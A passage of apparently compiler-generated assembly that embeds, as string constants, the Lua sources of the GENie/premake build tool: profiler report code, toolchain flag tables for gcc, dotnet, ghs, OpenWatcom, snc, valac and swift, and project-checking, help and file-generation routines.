..\nstring.rep( \"-\", 19 ) .. \"\\n\" )\noutfile:write( terms.capitalized..\" count: \" ..\nstring.format( \"%4d\", record.count ) .. \"\\n\" )\noutfile:write( \"Time spend total: \" ..\nstring.format( \"%4.3f\", record.time ) .. \"s\\n\" )\noutfile:write( \"Time spent in children: \" ..\nstring.format(\"%4.3f\",record.anon_child_time+record.name_child_time) ..\n\"s\\n\" )\nlocal timeinself =\nrecord.time - (record.anon_child_time + record.name_child_time)\noutfile:write( \"Time spent in self: \" ..\nstring.format(\"%4.3f\", timeinself) .. \"s\\n\" )\noutfile:write( \"Time spent per \" .. terms.single .. \": \" ..\nstring.format(\"%4.5f\", record.time/record.count) ..\n\"s/\" .. terms.single .. \"\\n\" )\noutfile:write( \"Time spent in self per \"..terms.single..\": \" ..\nstring.format( \"%4.5f\", timeinself/record.count ) .. \"s/\" ..\nterms.single..\"\\n\" )\nlocal added_blank = 0\nfor k,v in pairs(record.children) do\nif self.prevented_functions[k] == nil or\nself.prevented_functions[k] == 0\nthen\nif added_blank == 0 then\noutfile:write( \"\\n\" ) -- extra separation line\nadded_blank = 1\nend\noutfile:write( \"Child \" .. self:_pretty_name(k) ..\nstring.rep( \" \", 41-string.len(self:_pretty_name(k)) ) .. \" \" ..\nterms.pastverb..\" \" .. string.format(\"%6d\", v) )\noutfile:write( \" times. Took \" ..\nstring.format(\"%4.2f\", record.children_time[k] ) .. \"s\\n\" )\nend\nend\noutfile:write( \"\\n\" ) -- extra separation line\noutfile:flush()\nend\noutfile:write( \"\\n\\n\" )\noutfile:write( \"Total time spent in profiled functions: \" ..\nstring.format(\"%5.3g\",total_time) .. \"s\\n\" )\noutfile:write( [[\nEND\n]] )\noutfile:flush()\nend\nfunction _profiler.lua_report(self,outfile)\nlocal ordering = {}\nlocal functonum = {}\nfor func,record in pairs(self.rawstats) do\ntable.insert(ordering, func)\nfunctonum[func] = table.getn(ordering)\nend\noutfile:write(\n\"-- Profile generated by profiler.lua Copyright Pepperfish 2002+\\n\\n\" )\noutfile:write( \"-- Function names\\nfuncnames = {}\\n\" )\nfor i=1,table.getn(ordering) do\nlocal thisfunc = ordering[i]\noutfile:write( \"funcnames[\" .. i .. \"] = \" ..\nstring.format(\"%q\", self:_pretty_name(thisfunc)) .. \"\\n\" )\nend\noutfile:write( \"\\n\" )\noutfile:write( \"-- Function times\\nfunctimes = {}\\n\" )\nfor i=1,table.getn(ordering) do\nlocal thisfunc = ordering[i]\nlocal record = self.rawstats[thisfunc]\noutfile:write( \"functimes[\" .. i .. \"] = { \" )\noutfile:write( \"tot=\" .. record.time .. \", \" )\noutfile:write( \"achild=\" .. record.anon_child_time .. \", \" )\noutfile:write( \"nchild=\" .. record.name_child_time .. \", \" )\noutfile:write( \"count=\" .. record.count .. \" }\\n\" )\nend\noutfile:write( \"\\n\" )\noutfile:write( \"-- Child links\\nchildren = {}\\n\" )\nfor i=1,table.getn(ordering) do\nlocal thisfunc = ordering[i]\nlocal record = self.rawstats[thisfunc]\noutfile:write( \"children[\" .. i .. \"] = { \" )\nfor k,v in pairs(record.children) do\nif functonum[k] then -- non-recorded functions will be ignored now\noutfile:write( functonum[k] .. \", \" )\nend\nend\noutfile:write( \"}\\n\" )\nend\noutfile:write( \"\\n\" )\noutfile:write( \"-- Child call counts\\nchildcounts = {}\\n\" )\nfor i=1,table.getn(ordering) do\nlocal thisfunc = ordering[i]\nlocal record = self.rawstats[thisfunc]\noutfile:write( \"children[\" .. i .. \"] = { \" )\nfor k,v in record.children do\nif functonum[k] then -- non-recorded functions will be ignored now\noutfile:write( v .. \", \" )\nend\nend\noutfile:write( \"}\\n\" )\nend\noutfile:write( \"\\n\" )\noutfile:write( \"-- Child call time\\nchildtimes = {}\\n\" )\nfor i=1,table.getn(ordering) do\nlocal thisfunc = ordering[i]\nlocal record = self.rawstats[thisfunc];\noutfile:write( \"children[\" .. i .. \"] = { \" )\nfor k,v in pairs(record.children) do\nif functonum[k] then -- non-recorded functions will be ignored now\noutfile:write( record.children_time[k] .. \", \" )\nend\nend\noutfile:write( \"}\\n\" )\nend\noutfile:write( \"\\n\\n-- That is all.\\n\\n\" )\noutfile:flush()\nend\nfunction _profiler._pretty_name(self,func)\nlocal info = self.rawstats[ func ].func_info\nlocal name = \"\"\nif info.what == \"Lua\" then\nname = \"L:\"\nend\nif info.what == \"C\" then\nname = \"C:\"\nend\nif info.what == \"main\" then\nname = \" :\"\nend\nif info.name == nil then\nname = name .. \"<\"..tostring(func) .. \">\"\nelse\nname = name .. info.name\nend\nif info.source then\nname = name\nelse\nif info.what == \"C\" then\nname = name .. \"@?\"\nelse\nname = name .. \"@<string>\"\nend\nend\nname = name .. \":\"\nif info.what == \"C\" then\nname = name .. \"?\"\nelse\nname = name .. info.linedefined\nend\nreturn name\nend\nfunction _profiler.prevent(self, func, level)\nself.prevented_functions[func] = (level or 1)\nend\n_profiler.prevented_functions = {\n[_profiler.start] = 2,\n[_profiler.stop] = 2,\n[_profiler._internal_profile_by_time] = 2,\n[_profiler._internal_profile_by_call] = 2,\n[_profiler_hook_wrapper_by_time] = 2,\n[_profiler_hook_wrapper_by_call] = 2,\n[_profiler.prevent] = 2,\n[_profiler._get_func_rec] = 2,\n[_profiler.report] = 2,\n[_profiler.lua_report] = 2,\n[_profiler._pretty_name] = 2\n}\n"
L_.str.17: ## @.str.17
.asciz "premake.dotnet = { }\npremake.dotnet.namestyle = \"windows\"\nlocal flags =\n{\nFatalWarning = \"/warnaserror\",\nOptimize = \"/optimize\",\nOptimizeSize = \"/optimize\",\nOptimizeSpeed = \"/optimize\",\nSymbols = \"/debug\",\nUnsafe = \"/unsafe\"\n}\nfunction premake.dotnet.getbuildaction(fcfg)\nlocal ext = path.getextension(fcfg.name):lower()\nif fcfg.buildaction == \"Compile\" or ext == \".cs\" then\nreturn \"Compile\"\nelseif fcfg.buildaction == \"Embed\" or ext == \".resx\" then\nreturn \"EmbeddedResource\"\nelseif fcfg.buildaction == \"Copy\" or ext == \".asax\" or ext == \".aspx\" then\nreturn \"Content\"\nelse\nreturn \"None\"\nend\nend\nfunction premake.dotnet.getcompilervar(cfg)\nif (_OPTIONS.dotnet == \"msnet\") then\nreturn \"csc\"\nelseif (_OPTIONS.dotnet == \"mono\") then\nreturn \"mcs\"\nelse\nreturn \"cscc\"\nend\nend\nfunction premake.dotnet.getflags(cfg)\nlocal result = table.translate(cfg.flags, flags)\nreturn result\nend\nfunction premake.dotnet.getkind(cfg)\nif (cfg.kind == \"ConsoleApp\") then\nreturn \"Exe\"\nelseif (cfg.kind == \"WindowedApp\") then\nreturn \"WinExe\"\nelseif (cfg.kind == \"SharedLib\") then\nreturn \"Library\"\nend\nend\n"
L_.str.18: ## @.str.18
.asciz "premake.gcc = { }\npremake.gcc.cc = \"gcc\"\npremake.gcc.cxx = \"g++\"\npremake.gcc.ar = \"ar\"\npremake.gcc.rc = \"windres\"\npremake.gcc.llvm = false\nlocal cflags =\n{\nEnableSSE = \"-msse\",\nEnableSSE2 = \"-msse2\",\nEnableAVX = \"-mavx\",\nEnableAVX2 = \"-mavx2\",\nPedanticWarnings = \"-Wall -Wextra -pedantic\",\nExtraWarnings = \"-Wall -Wextra\",\nFatalWarnings = \"-Werror\",\nFloatFast = \"-ffast-math\",\nFloatStrict = \"-ffloat-store\",\nNoFramePointer = \"-fomit-frame-pointer\",\nOptimize = \"-O2\",\nOptimizeSize = \"-Os\",\nOptimizeSpeed = \"-O3\",\nSymbols = \"-g\",\n}\nlocal cxxflags =\n{\nCpp11 = \"-std=c++11\",\nCpp14 = \"-std=c++14\",\nCpp17 = \"-std=c++17\",\nCppLatest = \"-std=c++2a\",\nNoExceptions = \"-fno-exceptions\",\nNoRTTI = \"-fno-rtti\",\nUnsignedChar = \"-funsigned-char\",\n}\nlocal objcflags =\n{\nObjcARC = \"-fobjc-arc\",\n}\npremake.gcc.platforms =\n{\nNative = {\ncppflags = \"-MMD -MP\",\n},\nx32 = {\ncppflags = \"-MMD -MP\",\nflags = \"-m32\",\n},\nx64 = {\ncppflags = \"-MMD -MP\",\nflags = \"-m64\",\n},\nUniversal = {\nar = \"libtool\",\ncppflags = \"-MMD -MP\",\nflags = \"-arch i386 -arch x86_64 -arch ppc -arch ppc64\",\n},\nUniversal32 = {\nar = \"libtool\",\ncppflags = \"-MMD -MP\",\nflags = \"-arch i386 -arch ppc\",\n},\nUniversal64 = {\nar = \"libtool\",\ncppflags = \"-MMD -MP\",\nflags = \"-arch x86_64 -arch ppc64\",\n},\nPS3 = {\ncc = \"ppu-lv2-g++\",\ncxx = \"ppu-lv2-g++\",\nar = \"ppu-lv2-ar\",\ncppflags = \"-MMD -MP\",\n},\nWiiDev = {\ncppflags = \"-MMD -MP -I$(LIBOGC_INC) $(MACHDEP)\",\nldflags= \"-L$(LIBOGC_LIB) $(MACHDEP)\",\ncfgsettings = [[\n ifeq ($(strip $(DEVKITPPC)),)\n $(error \"DEVKITPPC environment variable is not set\")'\n endif\n include $(DEVKITPPC)/wii_rules']],\n},\nOrbis = {\ncc = \"orbis-clang\",\ncxx = \"orbis-clang++\",\nar = \"orbis-ar\",\ncppflags = \"-MMD -MP\",\n},\nEmscripten = {\ncc = \"$(EMSCRIPTEN)/emcc\",\ncxx = \"$(EMSCRIPTEN)/em++\",\nar = \"$(EMSCRIPTEN)/emar\",\ncppflags = \"-MMD -MP\",\n}\n}\nlocal platforms = premake.gcc.platforms\nfunction premake.gcc.getcppflags(cfg)\nlocal flags = { }\ntable.insert(flags, platforms[cfg.platform].cppflags)\nif flags[1]:startswith(\"-MMD\") then\ntable.insert(flags, \"-MP\")\nend\nreturn flags\nend\nfunction premake.gcc.getcflags(cfg)\nlocal result = table.translate(cfg.flags, cflags)\ntable.insert(result, platforms[cfg.platform].flags)\nif cfg.system ~= \"windows\" and cfg.kind == \"SharedLib\" then\ntable.insert(result, \"-fPIC\")\nend\nreturn result\nend\nfunction premake.gcc.getcxxflags(cfg)\nlocal result = table.translate(cfg.flags, cxxflags)\nreturn result\nend\nfunction premake.gcc.getobjcflags(cfg)\nreturn table.translate(cfg.flags, objcflags)\nend\nfunction premake.gcc.getldflags(cfg)\nlocal result = { }\nif not cfg.flags.Symbols then\nif cfg.system == \"macosx\" then\nelse\ntable.insert(result, \"-s\")\nend\nend\nif cfg.kind == \"Bundle\" then\ntable.insert(result, \"-bundle\")\nend\nif cfg.kind == \"SharedLib\" then\nif cfg.system == \"macosx\" then\ntable.insert(result, \"-dynamiclib\")\nelse\ntable.insert(result, \"-shared\")\nend\nif cfg.system == \"windows\" and not cfg.flags.NoImportLib then\ntable.insert(result, '-Wl,--out-implib=\"' .. cfg.linktarget.fullpath .. '\"')\nend\nend\nif cfg.kind == \"WindowedApp\" and cfg.system == \"windows\" then\ntable.insert(result, \"-mwindows\")\nend\nlocal platform = platforms[cfg.platform]\ntable.insert(result, platform.flags)\ntable.insert(result, platform.ldflags)\nreturn result\nend\nfunction premake.gcc.getlibdirflags(cfg)\nlocal result = { }\nfor _, value in ipairs(premake.getlinks(cfg, \"all\", \"directory\")) do\ntable.insert(result, '-L\\\"' .. value .. '\\\"')\nend\nreturn result\nend\nfunction premake.gcc.islibfile(p)\nif path.getextension(p) == \".a\" then\nreturn true\nend\nreturn false\nend\nfunction premake.gcc.getlibfiles(cfg)\nlocal result = {}\nfor _, value in ipairs(premake.getlinks(cfg, \"system\", \"fullpath\")) do\nif premake.gcc.islibfile(value) then\ntable.insert(result, _MAKE.esc(value))\nend\nend\nreturn result\nend\nfunction premake.gcc.getlinkflags(cfg)\nlocal result = {}\nfor _, value in ipairs(premake.getlinks(cfg, \"system\", \"fullpath\")) do\nif premake.gcc.islibfile(value) then\nvalue = path.rebase(value, cfg.project.location, cfg.location)\ntable.insert(result, _MAKE.esc(value))\nelseif path.getextension(value) == \".framework\" then\ntable.insert(result, '-framework ' .. _MAKE.esc(path.getbasename(value)))\nelse\ntable.insert(result, '-l' .. _MAKE.esc(path.getname(value)))\nend\nend\nreturn result\nend\nfunction premake.gcc.wholearchive(lib)\nif premake.gcc.llvm then\nreturn {\"-force_load\", lib}\nelseif os.get() == \"macosx\" then\nreturn {\"-Wl,-force_load\", lib}\nelse\nreturn {\"-Wl,--whole-archive\", lib, \"-Wl,--no-whole-archive\"}\nend\nend\nfunction premake.gcc.getarchiveflags(prj, cfg, ndx)\nlocal result = {}\nif cfg.platform:startswith(\"Universal\") then\nif prj.options.ArchiveSplit then\nerror(\"gcc tool 'Universal*' platforms do not support split archives\")\nend\ntable.insert(result, '-o')\nelse\nif (not prj.options.ArchiveSplit) then\nif premake.gcc.llvm then\ntable.insert(result, 'rcs')\nelse\ntable.insert(result, '-rcs')\nend\nelse\nif premake.gcc.llvm then\nif (not ndx) then\ntable.insert(result, 'qc')\nelse\ntable.insert(result, 'cs')\nend\nelse\nif (not ndx) then\ntable.insert(result, '-qc')\nelse\ntable.insert(result, '-cs')\nend\nend\nend\nend\nreturn result\nend\nfunction premake.gcc.getdefines(defines)\nlocal result = { }\nfor _,def in ipairs(defines) do\ntable.insert(result, \"-D\" .. def)\nend\nreturn result\nend\nfunction premake.gcc.getincludedirs(includedirs)\nlocal result = { }\nfor _,dir in ipairs(includedirs) do\ntable.insert(result, \"-I\\\"\" .. dir .. \"\\\"\")\nend\nreturn result\nend\nfunction premake.gcc.getquoteincludedirs(includedirs)\nlocal result = { }\nfor _,dir in ipairs(includedirs) do\ntable.insert(result, \"-iquote \\\"\" .. dir .. \"\\\"\")\nend\nreturn result\nend\nfunction premake.gcc.getsystemincludedirs(includedirs)\nlocal result = { }\nfor _,dir in ipairs(includedirs) do\ntable.insert(result, \"-isystem \\\"\" .. dir .. \"\\\"\")\nend\nreturn result\nend\nfunction premake.gcc.getcfgsettings(cfg)\nreturn platforms[cfg.platform].cfgsettings\nend\n"
L_.str.19: ## @.str.19
.asciz "premake.ghs = { }\npremake.ghs.namestyle = \"PS3\"\npremake.ghs.cc = \"ccppc\"\npremake.ghs.cxx = \"cxppc\"\npremake.ghs.ar = \"cxppc\"\nlocal cflags =\n{\nFatalWarnings = \"--quit_after_warnings\",\nOptimize = \"-Ogeneral\",\nOptimizeSize = \"-Osize\",\nOptimizeSpeed = \"-Ospeed\",\nSymbols = \"-g\",\n}\nlocal cxxflags =\n{\nNoExceptions = \"--no_exceptions\",\nNoRTTI = \"--no_rtti\",\nUnsignedChar = \"--unsigned_chars\",\n}\npremake.ghs.platforms =\n{\nNative = {\ncppflags = \"-MMD\",\n},\nPowerPC = {\ncc = \"ccppc\",\ncxx = \"cxppc\",\nar = \"cxppc\",\ncppflags = \"-MMD\",\narflags = \"-archive -o\",\n},\nARM = {\ncc = \"ccarm\",\ncxx = \"cxarm\",\nar = \"cxarm\",\ncppflags = \"-MMD\",\narflags = \"-archive -o\",\n}\n}\nlocal platforms = premake.ghs.platforms\nfunction premake.ghs.getcppflags(cfg)\nlocal flags = { }\ntable.insert(flags, platforms[cfg.platform].cppflags)\nreturn flags\nend\nfunction premake.ghs.getcflags(cfg)\nlocal result = table.translate(cfg.flags, cflags)\ntable.insert(result, platforms[cfg.platform].flags)\nreturn result\nend\nfunction premake.ghs.getcxxflags(cfg)\nlocal result = table.translate(cfg.flags, cxxflags)\nreturn result\nend\nfunction premake.ghs.getldflags(cfg)\nlocal result = { }\nlocal platform = platforms[cfg.platform]\ntable.insert(result, platform.flags)\ntable.insert(result, platform.ldflags)\nreturn result\nend\nfunction premake.ghs.getlibdirflags(cfg)\nlocal result = { }\nfor _, value in ipairs(premake.getlinks(cfg, \"all\", \"directory\")) do\ntable.insert(result, '-L' .. _MAKE.esc(value))\nend\nreturn result\nend\nfunction premake.ghs.getlibfiles(cfg)\nlocal result = {}\nreturn result\nend\nfunction premake.ghs.getlinkflags(cfg)\nlocal result = {}\nfor _, value in ipairs(premake.getlinks(cfg, \"system\", \"name\")) do\ntable.insert(result, '-lnk=' .. _MAKE.esc(value))\nend\nreturn result\nend\nfunction premake.ghs.getarchiveflags(prj, cfg, ndx)\nif prj.options.ArchiveSplit then\nerror(\"ghs tool does not support split archives\")\nend\nlocal result = {}\nlocal platform = platforms[cfg.platform]\ntable.insert(result, platform.arflags)\nreturn result\nend\nfunction premake.ghs.getdefines(defines)\nlocal result = { }\nfor _,def in ipairs(defines) do\ntable.insert(result, '-D' .. def)\nend\nreturn result\nend\nfunction premake.ghs.getincludedirs(includedirs)\nlocal result = { }\nfor _,dir in ipairs(includedirs) do\ntable.insert(result, \"-I\" .. _MAKE.esc(dir))\nend\nreturn result\nend\nfunction premake.ghs.getcfgsettings(cfg)\nreturn platforms[cfg.platform].cfgsettings\nend\n"
L_.str.20: ## @.str.20
.asciz "premake.msc = { }\npremake.msc.namestyle = \"windows\"\n"
L_.str.21: ## @.str.21
.asciz "premake.ow = { }\npremake.ow.namestyle = \"windows\"\npremake.ow.cc = \"WCL386\"\npremake.ow.cxx = \"WCL386\"\npremake.ow.ar = \"ar\"\nlocal cflags =\n{\nPedanticWarnings = \"-wx\",\nExtraWarnings = \"-wx\",\nFatalWarning = \"-we\",\nFloatFast = \"-omn\",\nFloatStrict = \"-op\",\nOptimize = \"-ox\",\nOptimizeSize = \"-os\",\nOptimizeSpeed = \"-ot\",\nSymbols = \"-d2\",\n}\nlocal cxxflags =\n{\nNoExceptions = \"-xd\",\nNoRTTI = \"-xr\",\n}\npremake.ow.platforms =\n{\nNative = {\nflags = \"\"\n},\n}\nfunction premake.ow.getcppflags(cfg)\nreturn {}\nend\nfunction premake.ow.getcflags(cfg)\nlocal result = table.translate(cfg.flags, cflags)\nif (cfg.flags.Symbols) then\ntable.insert(result, \"-hw\") -- Watcom debug format for Watcom debugger\nend\nreturn result\nend\nfunction premake.ow.getcxxflags(cfg)\nlocal result = table.translate(cfg.flags, cxxflags)\nreturn result\nend\nfunction premake.ow.getldflags(cfg)\nlocal result = { }\nif (cfg.flags.Symbols) then\ntable.insert(result, \"op symf\")\nend\nreturn result\nend\nfunction premake.ow.getlibfiles(cfg)\nlocal result = {}\nreturn result\nend\nfunction premake.ow.getlinkflags(cfg)\nlocal result = { }\nreturn result\nend\nfunction premake.ow.getdefines(defines)\nlocal result = { }\nfor _,def in ipairs(defines) do\ntable.insert(result, '-D' .. def)\nend\nreturn result\nend\nfunction premake.ow.getincludedirs(includedirs)\nlocal result = { }\nfor _,dir in ipairs(includedirs) do\ntable.insert(result, '-I \"' .. dir .. '\"')\nend\nreturn result\nend\n"
L_.str.22: ## @.str.22
.asciz "premake.snc = { }\npremake.snc.cc = \"snc\"\npremake.snc.cxx = \"g++\"\npremake.snc.ar = \"ar\"\nlocal cflags =\n{\nPedanticWarnings = \"-Xdiag=2\",\nExtraWarnings = \"-Xdiag=2\",\nFatalWarnings = \"-Xquit=2\",\n}\nlocal cxxflags =\n{\nNoExceptions = \"\", -- No exceptions is the default in the SNC compiler.\nNoRTTI = \"-Xc-=rtti\",\n}\npremake.snc.platforms =\n{\nPS3 = {\ncc = \"ppu-lv2-g++\",\ncxx = \"ppu-lv2-g++\",\nar = \"ppu-lv2-ar\",\ncppflags = \"-MMD -MP\",\n}\n}\nlocal platforms = premake.snc.platforms\nfunction premake.snc.getcppflags(cfg)\nlocal result = { }\ntable.insert(result, platforms[cfg.platform].cppflags)\nreturn result\nend\nfunction premake.snc.getcflags(cfg)\nlocal result = table.translate(cfg.flags, cflags)\ntable.insert(result, platforms[cfg.platform].flags)\nif cfg.kind == \"SharedLib\" then\ntable.insert(result, \"-fPIC\")\nend\nreturn result\nend\nfunction premake.snc.getcxxflags(cfg)\nlocal result = table.translate(cfg.flags, cxxflags)\nreturn result\nend\nfunction premake.snc.getldflags(cfg)\nlocal result = { }\nif not cfg.flags.Symbols then\ntable.insert(result, \"-s\")\nend\nif cfg.kind == \"SharedLib\" then\ntable.insert(result, \"-shared\")\nif not cfg.flags.NoImportLib then\ntable.insert(result, '-Wl,--out-implib=\"' .. cfg.linktarget.fullpath .. '\"')\nend\nend\nlocal platform = platforms[cfg.platform]\ntable.insert(result, platform.flags)\ntable.insert(result, platform.ldflags)\nreturn result\nend\nfunction premake.snc.getlibdirflags(cfg)\nlocal result = { }\nfor _, value in ipairs(premake.getlinks(cfg, \"all\", \"directory\")) do\ntable.insert(result, '-L' .. _MAKE.esc(value))\nend\nreturn result\nend\nfunction premake.snc.getlibfiles(cfg)\nlocal result = {}\nreturn result\nend\nfunction premake.snc.getlinkflags(cfg)\nlocal result = {}\nfor _, value in ipairs(premake.getlinks(cfg, \"system\", \"name\")) do\ntable.insert(result, '-l' .. _MAKE.esc(value))\nend\nreturn result\nend\nfunction premake.snc.getdefines(defines)\nlocal result = { }\nfor _,def in ipairs(defines) do\ntable.insert(result, '-D' .. def)\nend\nreturn result\nend\nfunction premake.snc.getincludedirs(includedirs)\nlocal result = { }\nfor _,dir in ipairs(includedirs) do\ntable.insert(result, \"-I\" .. _MAKE.esc(dir))\nend\nreturn result\nend\n"
L_.str.23: ## @.str.23
.asciz "premake.valac = { }\npremake.valac.valac = \"valac\"\npremake.valac.cc = \"gcc\"\nlocal valaflags =\n{\nDisableAssert = \"--disable-assert\", -- Disable assertions\nDisableSinceCheck = \"--disable-since-check\", -- Do not check whether used symbols exist in local packages\nDisableWarnings = \"--disable-warnings\", -- Disable warnings\nEnableChecking = \"--enable-checking\", -- Enable additional run-time checks\nEnableDeprecated = \"--enable-deprecated\", -- Enable deprecated features\nEnableExperimental = \"--enable-experimental\", -- Enable experimental features\nEnableExperimentalNonNull = \"--enable-experimental-non-null\", -- Enable experimental enhancements for non-null types\nEnableGObjectTracing = \"--enable-gobject-tracing\", -- Enable GObject creation tracing\nEnableMemProfiler = \"--enable-mem-profiler\", -- Enable GLib memory profiler\nEnableThreading = \"--thread\", -- Enable multithreading support\nFatalWarnings = \"--fatal-warnings\", -- Treat warnings as fatal\nHideInternal = \"--hide-internal\", -- Hide symbols marked as internal\nNoStdPkg = \"--nostdpkg\", -- Do not include standard packages\nOptimize = \"-X -O2\",\nOptimizeSize = \"-X -Os\",\nOptimizeSpeed = \"-X -O3\",\nSymbols = \"-g\", -- Produce debug information\n}\npremake.valac.platforms = {}\nfunction premake.valac.getvalaflags(cfg)\nreturn table.translate(cfg.flags, valaflags)\nend\nfunction premake.valac.getlinks(links)\nlocal result = { }\nfor _, pkg in ipairs(links) do\ntable.insert(result, '--pkg ' .. pkg)\nend\nreturn result\nend\nfunction premake.valac.getdefines(defines)\nlocal result = { }\nfor _, def in ipairs(defines) do\ntable.insert(result, '-D ' .. def)\nend\nreturn result\nend\nfunction premake.valac.getbuildoptions(buildoptions)\nlocal result = { }\nfor _, def in ipairs(buildoptions) do\ntable.insert(result, '-X ' .. def)\nend\nreturn result\nend\nfunction premake.valac.getvapidirs(vapidirs)\nlocal result = { }\nfor _, def in ipairs(vapidirs) do\ntable.insert(result, '--vapidir=' .. def)\nend\nreturn result\nend\n"
L_.str.24: ## @.str.24
.asciz "premake.swift = { }\npremake.swift.swiftc = \"swiftc\"\npremake.swift.swift = \"swift\"\npremake.swift.cc = \"gcc\"\npremake.swift.ar = \"ar\"\npremake.swift.ld = \"ld\"\npremake.swift.dsymutil = \"dsymutil\"\nlocal swiftcflags =\n{\nSymbols = \"-g\", -- Produce debug information\nDisableWarnings = \"--suppress-warnings\", -- Disable warnings\nFatalWarnings = \"--warnings-as-errors\", -- Treat warnings as fatal\nOptimize = \"-O -whole-module-optimization\",\nOptimizeSize = \"-O -whole-module-optimization\",\nOptimizeSpeed = \"-Ounchecked -whole-module-optimization\",\nMinimumWarnings = \"-minimum-warnings\",\n}\nlocal swiftlinkflags = {\nStaticRuntime = \"-static-stdlib\",\n}\npremake.swift.platforms = {\nNative = {\nswiftcflags = \"\",\nswiftlinkflags = \"\",\n},\nx64 = {\nswiftcflags = \"\",\nswiftlinkflags = \"\",\n}\n}\nlocal platforms = premake.swift.platforms\nfunction premake.swift.get_sdk_path(cfg)\nreturn string.trim(os.outputof(\"xcrun --show-sdk-path\"))\nend\nfunction premake.swift.get_sdk_platform_path(cfg)\nreturn string.trim(os.outputof(\"xcrun --show-sdk-platform-path\"))\nend\nfunction premake.swift.get_toolchain_path(cfg)\nreturn string.trim(os.outputof(\"xcode-select -p\")) .. \"/Toolchains/XcodeDefault.xctoolchain\"\nend\nfunction premake.swift.gettarget(cfg)\nreturn \"-target x86_64-apple-macosx10.11\"\nend\nfunction premake.swift.getswiftcflags(cfg)\nlocal result = table.translate(cfg.flags, swiftcflags)\ntable.insert(result, platforms[cfg.platform].swiftcflags)\nresult = table.join(result, cfg.buildoptions_swift)\nif cfg.kind == \"SharedLib\" or cfg.kind == \"StaticLib\" then\ntable.insert(result, \"-parse-as-library\")\nend\ntable.insert(result, premake.swift.gettarget(cfg))\nreturn result\nend\nfunction premake.swift.getswiftlinkflags(cfg)\nlocal result = table.translate(cfg.flags, swiftlinkflags)\ntable.insert(result, platforms[cfg.platform].swiftlinkflags)\nresult = table.join(result, cfg.linkoptions_swift)\nif cfg.kind == \"SharedLib\" or cfg.kind == \"StaticLib\" then\ntable.insert(result, \"-emit-library\")\nelse\ntable.insert(result, \"-emit-executable\")\nend\ntable.insert(result, premake.swift.gettarget(cfg))\nreturn result\nend\nfunction premake.swift.getmodulemaps(cfg)\nlocal maps = {}\nif next(cfg.swiftmodulemaps) then\nfor _, mod in ipairs(cfg.swiftmodulemaps) do\ntable.insert(maps, string.format(\"-Xcc -fmodule-map-file=%s\", mod))\nend\nend\nreturn maps\nend\nfunction premake.swift.getlibdirflags(cfg)\nreturn premake.gcc.getlibdirflags(cfg)\nend\nfunction premake.swift.getldflags(cfg)\nlocal result = { platforms[cfg.platform].ldflags }\nlocal links = premake.getlinks(cfg, \"siblings\", \"basename\")\nfor _,v in ipairs(links) do\nif path.getextension(v) == \".framework\" then\ntable.insert(result, \"-framework \"..v)\nelse\ntable.insert(result, \"-l\"..v)\nend\nend\nreturn result\nend\nfunction premake.swift.getlinkflags(cfg)\nreturn premake.gcc.getlinkflags(cfg)\nend\nfunction premake.swift.getarchiveflags(cfg)\nreturn \"\"\nend\n"
L_.str.25: ## @.str.25
.asciz "function premake.checkprojects()\nlocal action = premake.action.current()\nfor sln in premake.solution.each() do\nif (#sln.projects == 0) then\nreturn nil, \"solution '\" .. sln.name .. \"' needs at least one project\"\nend\nif (#sln.configurations == 0) then\nreturn nil, \"solution '\" .. sln.name .. \"' needs configurations\"\nend\nfor prj in premake.solution.eachproject(sln) do\nif (not prj.language) then\nreturn nil, \"project '\" ..prj.name .. \"' needs a language\"\nend\nif (action.valid_languages) then\nif (not table.contains(action.valid_languages, prj.language)) then\nreturn nil, \"the \" .. action.shortname .. \" action does not support \" .. prj.language .. \" projects\"\nend\nend\nfor cfg in premake.eachconfig(prj) do\nif (not cfg.kind) then\nreturn nil, \"project '\" ..prj.name .. \"' needs a kind in configuration '\" .. cfg.name .. \"'\"\nend\nif (action.valid_kinds) then\nif (not table.contains(action.valid_kinds, cfg.kind)) then\nreturn nil, \"the \" .. action.shortname .. \" action does not support \" .. cfg.kind .. \" projects\"\nend\nend\nend\nif action.oncheckproject then\naction.oncheckproject(prj)\nend\nend\nend\nreturn true\nend\nfunction premake.checktools()\nlocal action = premake.action.current()\nif (not action.valid_tools) then \nreturn true \nend\nfor tool, values in pairs(action.valid_tools) do\nif (_OPTIONS[tool]) then\nif (not table.contains(values, _OPTIONS[tool])) then\nreturn nil, \"the \" .. action.shortname .. \" action does not support /\" .. tool .. \"=\" .. _OPTIONS[tool] .. \" (yet)\"\nend\nelse\n_OPTIONS[tool] = values[1]\nend\nend\nreturn true\nend\n"
L_.str.26: ## @.str.26
.asciz "function premake.showhelp()\nprintf(\"\")\nprintf(\"Usage: genie [options] action [arguments]\")\nprintf(\"\")\nprintf(\"OPTIONS\")\nprintf(\"\")\nfor option in premake.option.each() do\nlocal trigger = option.trigger\nlocal description = option.description\nif (option.value) then trigger = trigger .. \"=\" .. option.value end\nif (option.allowed) then description = description .. \"; one of:\" end\nprintf(\" --%-15s %s\", trigger, description)\nif (option.allowed) then\nfor _, value in ipairs(option.allowed) do\nprintf(\" %-14s %s\", value[1], value[2])\nend\nend\nprintf(\"\")\nend\nprintf(\"ACTIONS\")\nprintf(\"\")\nfor action in premake.action.each() do\nprintf(\" %-17s %s\", action.trigger, action.description)\nend\nprintf(\"\")\nprintf(\"For additional information, see https://github.com/bkaradzic/genie\")\nend\n"
L_.str.27: ## @.str.27
.asciz "premake._filelevelconfig = false\npremake._checkgenerate = true\nfunction premake.generate(obj, filename, callback)\nlocal prev = io.capture()\nlocal abort = (callback(obj) == false)\nlocal new = io.endcapture(prev)\nif abort then\npremake.stats.num_skipped = premake.stats.num_skipped + 1\nreturn\nend\nfilename = premake.project.getfilename(obj, filename)\nif (premake._checkgenerate) then\nlocal delta = false\nlocal f, err = io.open(filename, \"rb\")\nif (not f) then\nif string.find(err, \"No such file or directory\") then\ndelta = true\nelse\nerror(err, 0)\nend\nelse\nlocal existing = f:read(\"*all\")\nif existing ~= new then\ndelta = true\nend\nf:close()\nend\nif delta then\nprintf(\"Generating %q\", filename)\nlocal f, err = io.open(filename, \"wb\")\nif (not f) then\nerror(err, 0)\nend\nf:write(new)\nf:close()\npremake.stats.num_generated = premake.stats.num_generated + 1\nelse\npremake.stats.num_skipped = premake.stats.num_skipped + 1\nend\nelse\nprintf(\"Generating %q\", filename)\nlocal f, err = io.open(filename, \"wb\")\nif (not f) then\nerror(err, 0)\nend\nf:write(new)\nf:close()\npremake.stats.num_generated = premake.stats.num_generated + 1\nend\nend\nfunction premake.findDefaultScript(dir, search_upwards)\nsearch_upwards = search_upwards or true\nlocal last = \"\"\nwhile dir 